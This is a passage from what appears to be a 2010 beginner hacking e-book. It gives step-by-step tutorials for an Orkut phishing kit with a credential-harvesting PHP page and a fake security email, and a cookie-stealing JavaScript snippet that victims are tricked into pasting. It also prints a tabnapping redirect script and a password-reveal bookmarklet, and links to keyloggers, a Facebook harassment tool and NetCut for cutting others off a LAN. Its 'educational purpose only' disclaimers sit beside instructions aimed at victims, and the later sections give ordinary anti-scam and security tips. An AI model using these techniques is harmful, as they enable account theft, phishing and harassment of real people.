- Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
- Emails containing some Information of your Interest and asking you to Login to Your Account.
- Any Email carrying a Link to Click and asking you to Login.

The Phishing Hack Starts Now. this Hack example is for orkut account.
Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which there are support files for ServerLogin.html
Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.
Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any web hosting site..
You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and upload the 2 images of the pack in that folder. (it must support PHPs.)
>>> You can choose one of the following web hosting Company to upload the Folder.
http://www.freeweb7.com
http://Ripway.com{Recommended}
http://www.110mb.com
http://www.phpnet.us
“You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.

http://www.byethost.com
http://www.t35.com
http://www.awardspace.com
http://www.free-webhosts.com/free-php-webhosting.php
http://www.freehostia.com
http://www.dajoob.com

```
http://ifastnet.com
http://007ihost.com
http://www.247mb.com/register.jsp
http://www.10gbfreehost.com/
Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password
and sign in . Password will be stored in "hackingtech.txt"...
General form of the fake page's link
Code:
http://urwebhostingsite/urusername/ServiceLogin.htm
Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut
the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to
send fake email within short time.
Now If You want to create your own phishing page the follow the steps below.
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm
Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and
serverlogin.htm file in any web hosting site you want.
Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of
orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see
how to send fake email within short time.
```

Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .

Prevention Against Phishing :-

- Read all the Email Carefully and Check if the Sender is Original.
- Watch the Link Carefully before Clicking
- Always check the URL in the Browser before Signing IN to your Account
- Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

“Do not use this hack trick in any criminal activities like phishing bank websites and please do not destroy any ones account this is only for educational purpose”.

8. How To View Hidden Password behind ****

Step 1.First of all open up the webpage on which you wanna show the hidden passwords.

Step 2. Then in the username there must be the name and in the password there must be ********

Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the address bar of the browser and you are done.

```
javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;
%20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)
%20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)
%20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)
%20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if
%20(s)%20alert(%22Passwords%20in%20forms%20on%20this
%20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are
%20no%20passwords%20in%20forms%20on%20this
%20page.%22);})();
```

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 107
Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown to you.
“You can use This script when some one has checked the remember me button in the login form of any website and to reveal password from that saved astrisk or encrypted password”.
“Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 108
9. Hack Orkut Accounts by Cookie Stealing
This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accounts has become much popular and hence i have added this article which will help you in hacking your friend’s orkut account. Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.
Note: My purpose is only to make u aware of what’s happening around and not to teach u hacking orkut account, Gmail or any account in any sort!!.
Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail or orkut is given below.
"Hacking orkut account or Gmail” by "stealing orkut account cookies”:
The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking method required.
Steps to hack Gmail or orkut account password by stealing orkut cookies:-
Step 1. Firstly you need have Mozilla firefox.
Step2. Cookie editor plugin for Mozilla firefox.
Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies to one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two Gmail(Orkut) accounts.

Cookie Script:

javascript:nobody=replyForm;nobody.toUserId.value=33444211;

nobody.scrapText.value=document.cookie;nobody.action='scrapbook.aspx?

Action.submit';nobody.submit()

How to use orkut cookies script?

Step 1. Replace your number "UserId.value=33444211"

How to Replace your Number

Step 1. Go to your Orkut album

Step 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.

Step 3. Now replace your value with the value in the java script.

"Download cookie editor plugin for Mozilla firefox from: https://addons.mozilla.org/en-US/firefox/addon/573

Your script will look like -

javascript:nobody=replyForm;nobody.toUserId.value=yournumber;

nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));

nobody.action='Scrapbook.aspx?Action.writeScrapBasic';nobody.submit()

Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.

Step 3. You'll get his orkut account cookie in your scrap book.

Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookie editor plugin(Tools–> Cookie editor)

Step 5. click filter/refresh.look for 'orkut_state' cookie. just double click it and replace the orkut_state part with your victim's Script

put ur eight digit number in the place of (33444211).

Thats it your done with.

Logout of your orkut and login again and you'll be in your victims Homepage.

Step 6. So remember guys…if you are having orkut account or having any other account….never use any suspicious script

```
to prevent anyone from hacking/accessing your orkut account.
I hope you have learned how to hack orkut accounts using cookie stealing. Just the script can be used to hack orkut
accounts and then access victim’s orkut account. Enjoy hacking orkut.
“Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only”.
“You can also use this attack for many other sites like yahoo but you will need some other scripts
for that but nothing is impossible so use google and search the script for other sites for self
practice”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 110
10. Tab Napping A New Phishing Attack
Traditional phishing attacks are reasonably easy to avoid, just don’t click links in suspicious e-mails (or, for the really
paranoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack by
hijacking your unattended browser tabs.
The attack works by first detecting that the tab the page is in does not have focus. Then the attacking script can change
the tab favicon and title before loading a new site, say a fake version of gmail or orkut, in the background.
Even scarier, the attack can parse through your history to find sites you actually visit and impersonate them.
Because most of us trust our tabs to remain on the page we left them on, this is a particularly difficult attack to detect. As
Raskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory is
mailable and moldable and the user will most likely simply think they left *the+ tab open.”
The only clue that you’re being tricked is that the URL will be wrong.
The Script Used is as Below.-
<a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and go
to other tab to see this magic.</a>
<script type="text/javascript">
var xScroll, yScroll, timerPoll, timerRedirect, timerClock;
function initRedirect(){
```

```
if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz
xScroll = document.body.scrollLeft;
yScroll = document.body.scrollTop;
clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 111
timerPoll = setInterval("pollActivity()",1); //poll scrolling
timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
redirect
}
else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead
xScroll = window.pageXOffset;
yScroll = window.pageYOffset;
clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect
timerPoll = setInterval("pollActivity()",1); //poll scrolling
timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
redirect
}
//else do nothing
}
function pollActivity(){
if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||
yScroll!=document.body.scrollTop)) //IE/NS7/Moz
||
(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {
```

```
//other browsers
initRedirect(); //reset polling scroll position
}
} document.onmousemove=initRedirect;
document.onclick=initRedirect;
document.onkeydown=initRedirect;
window.onload=initRedirect;
window.onresize=initRedirect;
</script>
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 112
To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html
Replace the URL highlighted here with your URL where you want the victim to redirect.
Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.
“Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 113
11. How to Check The email is original or Not
First of all let us see How email system is working over internet.
The email is sent on internet as shown in below picture
So Here The Sender i.e abc@server1.com is sending a mail to xyz@server2.in. so the sender will type the mail and click on
send button and the mail will go to SERVER1.com whereSERVER1.com will forward the mail over internet and the internet
will search the xyz@server2.in email ids server and send it to SERVER2.in and the the SERVER2.in will search for
the xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user
login to their account they will see an email in their inbox which is from abc@server1.com.
```

Now How To send the fake mail
To send fake mail We need to Bypass the abc@server1.com and SERVER1.com both and directly send an email over internet .
So for that we will use a .php script as php has a function mail(); which can send email to any one without the SERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user login to their account they will see an email in their inbox which is from abc@server1.com.

But actually the email is not sent byabc@server1.comto xyz@server2.in so it is a fake mail.
SEND FAKE MAILS FROM HACKING TECH
Fill Up the form on Hacking Tech fake mailer page. For form visit http://www.hackingtech.co.tv/index/0-93
Now How to check When you receive such mail.
Step 1:- First of all open the mail.

Step 2:- Now Click on the downward arrow near reply button. and click on show original.
Now check for The received from field on the page opened.
and see who has sent you the email , here billgates@microsoft.com is the sender.
so in the received from field check that there must be microsoft.comand not any other thing.
this was fake mail as there was outgoing.x10hosting.com and so the mail is fake as there is no microsoft.com here.
“Do not send fake mails for criminal activities from hackingtech fake mailer as they are tracking your IP address and Can back track you for any illegal activities performed by you and so please do not destroy any ones account, this is for educational purpose only”.

Page 116

12. Hack facebook account by facebook hacker

Hack facebook Account With facebook Hacker.

Facebook is one of the most attractive keywords of Computer Hacking and so, large number of Facebook users are visiting Computer Hacking. .

Well, Facebook Hacker is a multi-functional software used to hack facebook account. Actually, you can't hack facebook password, but yes, cause many nuisance and pranks by using this Facebook Hacker software.

Hack Facebook Accounts with Facebook Hacker

Step 1. First of all Download Facebook Hacker software.

Step 2. Now, run Facebook Hacker.exe file to see:

Login to your Facebook account and then hit on OK at right bottom.

Step 3. Now, Facebook Hacker options are displayed as shown:

“You can Download facebook hacker From Here: http://www.hackingtech.co.tv/Facebook_Hacker.rar “.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 117

Step 4. In Victim pane at left bottom, enter the facebook ID of the victim you wanna hack in User ID field.

Step 5. Now, using this Facebook Hacker software you can:

- Flood wall of victim.
- Spam his message box.
- Comment on him like crazy.
- Poke him and even add mass likes.

Thus, you can play such pranks with your friends using this Facebook Hacker. So, free download Facebook Hacker and trick out your friends.

That's all. Hope you will enjoy using this tool. I have tried this Facebook hacker software and found working perfect for me.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only”.

13. What Are Key loggers?
Keyloggers definition
Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user. Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted to an unknown third party.
About keyloggers
A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the user. Keylogger is commonly included in rootkits.
A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
There are other approaches to capturing info about what you are doing.
- Somekeyloggerscapture screens, rather than keystrokes.
- Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet connection.

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the registry. Or a keyloggers could be which boasts these features:
- Stealth: invisible in process list
- Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)

- ProBot program files and registry entries are hidden (Windows 2000 / XP)
- Includes Remote Deployment wizard
- Active window titles and process names logging
- Keystroke / password logging
- Regional keyboard support
- Keylogging in NT console windows
- Launched applications list
- Text snapshots of active applications.
- Visited Internet URL logger
- Capture HTTP POST data (including logins/passwords)

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 119

- File and Folder creation/removal logging
- Mouse activities
- Workstation user and timestamp recording
- Log file archiving, separate log files for each user
- Log file secure encryption
- Password authentication
- Invisible operation
- Native GUI session log presentation
- Easy log file reports with Instant Viewer 2 Web interface
- HTML and Text log file export
- Automatic E-mail log file delivery
- Easy setup & uninstall wizards
- Support for Windows (R) 95/98/ME and Windows (R) NT/2000/XP

Because a keylogger can involve dozens of files, and has as a primary goal complete stealth from the user, removing one manually can be a terrifying challenge to any computer user. Incorrect removal efforts can result in damage to the

operating system, instability, inability to use the mouse or keyboard, or worse. Further, some key loggers will survive manual efforts to remove them, re-installing themselves before the user even reboots.

Some Famous Key Loggers.

1. Actual spy.
2. Golden Keylogger
3. Remote Keylogger.
4. Home Keylogger
5. Soft Central keylogger
6. Stealth keyboard

“You can Download Actual spy From Here: http://u.to/tCWk “.

“You can Download Golden Keylogger From Here: http://u.to/0iWk “.

“You can Download Remote Keylogger From Here: http://u.to/3iWk “.

“You can Download Home Keylogger From Here: http://u.to/CSak “.

“You can Download Soft Central From Here: http://u.to/OCak “.

“You can Download Adramax keylogger From Here: http://u.to/Pyak “.

14. How To remove New Folder virus

What is Newfolder.exe?

The real name of this virus is Iddono. This threat copies its file(s) to your hard disk. Its typical file name is Iddono. Then it creates new startup key with name Iddono and value newfolder.exe. You can also find it in your processes list with name newfolder.exe or Iddono. This virus is very difficult to eliminate manually, but you can find several possible methods of removal below.

How to fix Newfolder.exe?

Quick Solution:

True Sword will find and eliminate this problem and more than 447 908 other dangerous threats including trojans, spyware, adware, riskware, problemware, keyloggers, dialers and other kinds of malicious programs in several seconds.

Fast, easy, and handy, True Sword protects your computer against malicious programs that do harm to your computer and break your privacy. True Sword scans your hard disks and registry and destroys any manifestation of such malicious programs. Standard anti-virus software can do nothing against privacy breakers and malicious programs like that. Get rid of trojans, spyware, adware, trackware, dialers and keyloggers in one click .

How to fix Newfolder.exe manually? For advanced users only

This problem can be solved manually by deleting all registry keys and files connected with this software, removing it from starup list and unregistering all corresponding DLLs. Additionally missing DLL's should be restored from distribution in case they are corrupted by Iddono. To fix this threat, you should: 1. Kill the following processes and delete the appropriate files:

- libedit.dll
- newfolder.exe
- shelliddono.dll
- srv0104.ids
- srvidd20.exe

If these files can't be deleted during normal Windows work or recreate themselves, reboot into Safe Mode and repeat deletion. If you do not see all of these files, then they are hiding themselves. You need special software to kill those hidden files. 2. Delete the following malicious registry entries and\or values:

- Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run for nwiz.exe Value: @
- Key: software\microsoft\windows\currentversion\run\alchem Value: @
- Key: software\microsoft\windows\currentversion\run\zzb Value: @

Another method which is recently discovered by me that any AVG antivirus above 8.0version can detect the new folder virus easily.

“For beginners I recommend to for for the Software True Sword its free “.

15. Call Your Friend from Their Own Number

Step 1:- Go to http://www.mobivox.com and register there for free account.

Step 2:- During registration, remember to insert your friends (Victims) mobile number in "Phone number" field as shown below.

Step 3:- Complete registration and confirm your email id and then login to your account.

Step 4:- Click on "Direct WebCall" After successful Login into your Mobivox account. as show below.

Step 5:- You will arrive at page shown below. In "Enter a number" box, select your country and also any mobile number(you can enter yours). Now, simply hit on "Call Now" button to call your friend with his own number.

Step 6:- That's it. Your friend will be shocked to see his own number calling him.

[1] .You get only 10 min to call free after that you need to pay money , but you can make another account with another friends number and another email id and start pranking again...

[2] .But don't miss use this hack by calling someone's GIRL Friend(s) OR BOY Friend(s). Because this hack is untraceable. If You call Customer Care and tell about this then they will tell this thing cannot happen.

Read more:http://www.hackingtech.co.tv/index/call_your_friend_with_his_own_number/0-35#ixzz14mg1K1bJ

16. Get Orkut Scraps on mobile

Get Orkut Scraps on Mobile for free using Google SMS Channel!

Orkut Team officially introduced a feature by using you can get the Orkut scraps on your mobile. But by using this official orkut sms feature they cost some charges as per network. But by using this trick you can enjoy free Scrap alerts on your mobile absolutely free This service works with the help of Google SMS channels and Orkutfeeds.

You have to just follow the simple steps:-
Step 1 :- First of all you have to get the feed url of your Orkut profile by using orkutfeeds.com.
For this, just open your Orkut profile and copy the home page link (In my case it
is http://www.orkut.co.in/Main#Profile.aspx?uid=18178041893973983718). (To copy the page link just right click on
your orkut profile properties and copy link from there.)
Step 2 :- Now go to orkutfeeds.com and paste your Orkut profile link (already generated on step 1).After this, just hit the
subscribe button and you'll be provided with your Orkut profile feed URL.
Step 3 :- Also add "#both" at the end of the above URL so that you can get messages of the scrap as well.
Now my feed URL becomes http://www.orkutfeeds.com/feed.php?uid=18178041893973983718#both
Step 4 :- Now go to Google SMS channels homepage and create a new channel as shown in the screen shot below. If you
don't have an account on SMS channels then create one by logging in with your Gmail password.

Step 5 :- Fill all the required details and feed URL of your Orkut page (refer step 2) on the 'RSS/Atom feed' form and finally
hit the 'create channel' button.

That's it! Now you'll be getting scrap notifications via SMS for free
[1] For this trick to work on locked scrapbooks, you must add this Orkutfeeds bot as your friend.
http://www.orkut.co.in/Main#Profile.aspx?uid=10226448830416481862
[2] Scrap notification are delayed for 2-4 hours depending on the Google's server traffic.

17. Internet connection cut-off in LAN/Wi-Fi
Hacking The Internet Connection of the shared computers in Colleges/ Cyber Cafe / schools etc. and gain the complete

Access of internet with full speed.
Netcut stands for Network Cut. NetCut is software where we can control the connection to each computer/laptop in a WIFI network/LAN. However, this software can be used to retrieve internet bandwidth from other computers in a LAN/WIFI.
Shared connection speed is basically determined the number of users connected, topology is used, setting protocols and much more. If using a pure setting, the access speed will be divided based on the number of users who use it. Example: If the connection speed = 500 Kbps, and there are 5 users who use it, then the speed of each to 100 Kbps, except given the limit connection to other user. So more and more users connected, the smaller also access. And using this attack cut the internet connection of shared computers in LAN/WIFI. And Get the Full Speed of internet on your system.

Step 1:- you will need the NetCut 2.0 software so download it from Here.
Step2:- Unzip the downloaded Software and install it On Your System.
Step3:- Open the Software and you will get the following screen.
Step 4:- Select all or any One of the IP Addresses Seen on the Screen EXCEPT the first Two IP because they are Your PC's IP Address.
Step 5:- After Selecting the IP address Press the Cut off Button and the internet connection will be cut off within few Seconds.
Step 6:- To Resume or Start the Internet again Press the Resume Button and the internet will again start working in the shared computers.
Now after cutting the network connection Lets Study the Prevention from This attack so that this cannot happen with you.
“Download it from here: http://www.hackingtech.co.tv/netcut2.08.zip “.

Anti netCut. This software can protect you when you surf the Internet using wireless networks in particular hotspot areas which may be used by the netters. By using antinetcut, then guaranteed you will be protected from ignorant people who use netCut to control bandwidth, LAN and Wireless network. Why Anti netcut 2? No internet disconnection any more, starts with operating system; you don’t have to run every time turning on your PC. Lists all open ports in your connection (Security wise), Get your public IP address, Know who is cutting your connection, Direct link to internet connection speed meter, Direct link to spyware scanner, Direct link to free virus scanner and No Spyware

Step1:- Download the Anti NetCut 2 form Here Because You Will Need It.

Step 2:- Unrar The pack and install the software.

Step 3:- There Will Be an Icon in the Task bar of Anti Net 2, like this.

Step 4:- To see who Using Net Cut is against you or who is attacking on our network, right click on this icon and Select “Who is using Net Cut". And you will get The IP addresses of the User in the window as shown below.

Step 5:- To see Your Open connections, means the Ports of the network which are not cut off By the NetCut 2.0. Right Click on the icon and Click on “My open connection" and you will get window like this.

“Download it from here: http://www.hackingtech.co.tv/anti_netcut_2.rar “.

Step 6:- You are done now The Anti Net Cut 2 will automatically fix the error of internet Cut off Caused by Net Cut 2.0.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only”.

“Use of anti Netcut is for countermeasure purpose and do not misuse the Netcut.”

18. WEP cracking using Airo Wizard

In This Tutorial We Will learn to hack/crack the WEP (Wired Equipped Privacy).

A WEP key is a security code used on some Wi-Fi networks. WEP keys allow a group of devices on a local network (such as a home network) to exchange encoded messages with each other while hiding the contents of the messages from easy

viewing by outsiders.
A WEP key is a sequence of hexadecimal digits. These digits include the numbers 0-9 and the letters A-F. Some examples of WEP keys are:
- 1A648C9FE2
- 99D767BAC38EA23B0C0176D15

WEP keys are chosen by a network administrator. WEP keys are set on Wi-Fi routers, adapters and other wireless network devices. Matching WEP keys must be set on each device for them to communicate with each other.
The length of a WEP key depends on the type of WEP security (called "encryption") utilized:
- 40- / 64-bit WEP: 10 digit key
- 104- / 128-bit WEP: 26 digit key

To assist with the process of creating correct WEP keys, some brands of wireless network equipment automatically generates WEP keys from ordinary text called a pass phrase.
Air crack is an 802.11(protocol) WEP and WPA-PSK keys cracking application that is able to recover keys once enough data packets have been captured(Sniffed). It follows the standard FMS attack along with some optimizations like KoreK attacks, along with the all-new PTW attack, thus making the attack much faster and effective compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks and not much known by the crackers.
“Download it from here: http://u.to/ayak “.

19. 12 Security tips for online shopping
The internet is an exciting place to shop. From the comfort of your own armchair you can browse for literally anything, from a new camera, to a holiday or flight. You are not restricted to the stores in your local town, or even country and you can pick up deals at great prices on a whole range of products.
Shopping online isn’t just as safe as handing over your credit card in a store or restaurant. However, if you take care of

few things it can be a safe deal. Following are the things you should take care of:

1. Never respond to an email request for credit card details. All reputable companies will conduct transactions with you over a secure website connection.

2. Remember to never respond to any email advertisement, and only visit sites you know or have book marked, and verify the address before browsing further.

3. Only buy from trusted brands and websites.

4. To ensure that you only do business with legitimate companies check to see if they have a contact number, an actual retail store and a printed catalogue to browse.

5. Check a website’s returns and privacy policy before going ahead with a purchase.

6. Check that you are entering your details through a secure payment connection. You should notice when you click through to the transaction page of a company’s website that the URL in the address bar begins https:// (instead of the normal http ://). This is the standard encrypted communication mechanism on the internet and means that your credit card details are being sent securely.

7. Beware of deals that seem too good to be true.

8. Beware of the limitations of the internet. The internet may not the best place to buy clothes or other products you need to see, touch or try on.

9. All reputable websites use secure payment systems. These are either a company’s own system or a 3rd party system such as Worldpay or Pay pal.

10. When conducting a transaction over the internet, look for the yellow padlock in the grey status bar at the bottom of your browser page. This is an indication that the transaction is being conducted over a secure connection.

11. As an extra precaution check to see if there’s a gold lock at the bottom of the right hand corner of the browser. If they don’t include any of these reliable indicators, you might want to think twice before handing over your credit card number.

12. To be on the safe side, and avoid Internet fraudsters, it’s also a good idea to install and use security software such as Kaspersky Internet Security. It can provide you with industry-leading security services that will provide you more protection against the latest threats.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 134

20. How to check if Your Gmail acc. is hacked

How to check if your Gmail Account Has Been Hacked

If you’re worried about email security, here is a step by step guide to help you check and determine if your Gmail account has been hacked or compromised in any way.

Step 1: Find the ‘Last Account Activity’ Section In Your Inbox

At the bottom of your Gmail inbox there is a ‘Last Account Activity’ section. Click on ‘details’ to launch the full blown monitor.

Step 2: See who has accessed your Gmail account recently.

Next, what you’ll see is a table of the most recent activity from your Gmail account. It shows you

* * How it was accessed (Browser/mobile etc)

* Where exactly the IP address is (So you can do some further digging)

* When it was accessed

Step 3: Understand the IP addresses – Has your Gmail really been hacked.

If you see IP addresses from different countries, don’t be too quick to panic. If you use any 3rd party services which hookup to your Gmail account, they will almost certainly show up in your activity log. To do you own investigation, you can use Domain Tools (www.domaintools.com) to identify the IP address. This will help you differentiate normal activity and your Gmail account being hacked.

Step 4: Understand the alerts – Google’s way of highlighting suspicious activity.

Google will also do its fair share of monitoring, and will also alert you if it sees suspicious activity both in your inbox, as well as your recent activity log. When this happens, and the IP addresses look suspicious, it is advisable to play it safe, assume your Gmail account has been hacked, and change your passwords immediately.

Step 5: Sign out All Other Sessions – If you forgot to sign out on a public computer.

If you are worried you did not sign out of a public computer, you can ‘sign out all other sessions’. This won’t fix any hacked Gmail accounts, but it will resolve any careless mistakes. This is also useful if you happen to lose your mobile

phone and you want to ensure your email is not read by others.

Step 6: What to do if your Gmail account has really been hacked

The first thing you do is change both your password and security question right away. Then make sure your new choices are very secure. Google themselves have some really good tips. For example in the case of security questions:

¬ Choose a question only you know the answer to – make sure the question isn't associated with your password.

¬ Pick a question that can't be answered through research (for example, avoid your mother's maiden name, your birth date, your first or last name, your social security number, your phone number, your pet's name, etc.).

¬ Make sure your answer is memorable, but not easy to guess. Use an answer that is a complete sentence for even more security.

So there you have it. A step-by-step guide on fully understanding Gmail's account activity log, and how to check if your Gmail account has been hacked

"Always use this method to sign out all other accounts if you have accessed the internet from public place or PC this will make your GMAIL account more secure".

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 136

21. Beware Of Common Internet Scam/Frauds

The term Internet Scam or Internet Fraud refers to any type of fraud scheme that uses one or more online services to conduct fraudulent activities. Internet fraud can take place on computer programs such as chat rooms, e-mail, message boards, or Web sites. In this post I will discuss about some of the commonly conducted scams and frauds across the Internet.

1. Phishing Scam

This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Phishing is typically carried out by e-mail or instant messaging.

Example: You may receive an email which claims to have come from your bank/financial institution/online service provider that asks you to click a link and update your account information. When you click such a link it will take you to a

fake page which exactly resembles the original ones. Here you'll be asked to enter your personal details such as username and password. Once you enter your personal details they will be stolen away. Such an email is more than likely the type of Internet scam known as "phishing". Phishing is said to be highly effective and has proved to have more success rate since most of the common people fail to identify the scam.

Most legitimate companies never request any kind of personal/sensitive information via email. So it is highly recommended that you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailed post What is Phishing?

2. Nigerian Scams

This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of money that is held up in a foreign bank account. This email claims that in return for the help you'll be rewarded a percentage of the fund that involves in the transaction. Never respond to these emails since it's none other than a scam.

In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund) as an insurance or as an advance payment for the initialization of deal. However once you deposit the amount to the scammer's account you'll not get any further response from them and you lose your money. In fact "The large amount of money" never exists and the whole story is a trap for innocent people who are likely to become victims. The scammers use a variety of stories to explain why they need your help to access the funds. The following are some of the examples of them.

Examples:

- They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank account.
- They may claim that the person is a minor and hence needs your help to access the funds.
- They may claim that your last name is the same as that of the deceased person who owned the account and suggest that you act as the Next of Kin of this person in order to gain access to the funds.

3. Lottery Scams

This type of scam is similar to the one discussed above. In this type you may receive an email saying that you have won a

large sum of money in online lottery scheme (ex. UK Lottery) even though you have not participated in any such schemes. The message claims that your email ID was selected randomly from a large pool of IDs. When you respond to such emails they initially ask for your complete name and address so that they can mail the cheque across to you. After getting those details they may also send you an image of the cheque drawn in your name and address so as to confirm the deal. But in order to mail this cheque they demand a small amount of money as insurance/shipping charge/tax in return. However if you send the amount in hope to receive the cheque all you get is nothing. You're just trapped in a wonderful scam scheme. That's it.

4. Other General Scams and Frauds

The following are some of the other types of scams that you should be aware of.

In general, be aware of unsolicited emails that:

1. Promise you money, jobs or prizes.
2. Ask you to provide sensitive personal information.
3. Ask you to follow a link to a website and log on to an account.
4. Propose lucrative business deals

However it may seem to be a difficult task for novice Internet users to identify such online scams. Here are some of the common signs of such scam emails. By knowing them it may help you to stay away.

¬ All these scam emails never address you by your name. In turn they commonly address you something like "Dear User" or "Dear Customer" etc. This is a clear indication that the email is a fraudulent one

¬ When you observe the email header you may notice in the "TO:" Field that, the same email is forwarded to a large group of people or the "TO:" field appears blank. So this confirms that the email was not intended particularly for you. It was forwarded for a large group of people and you are one among them.

"Do not use this hacks & trick in any criminal activities like phishing bank websites and please do not destroy any ones account this is only for educational purpose".

22. 12 Tips to maintain a virus free PC.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away

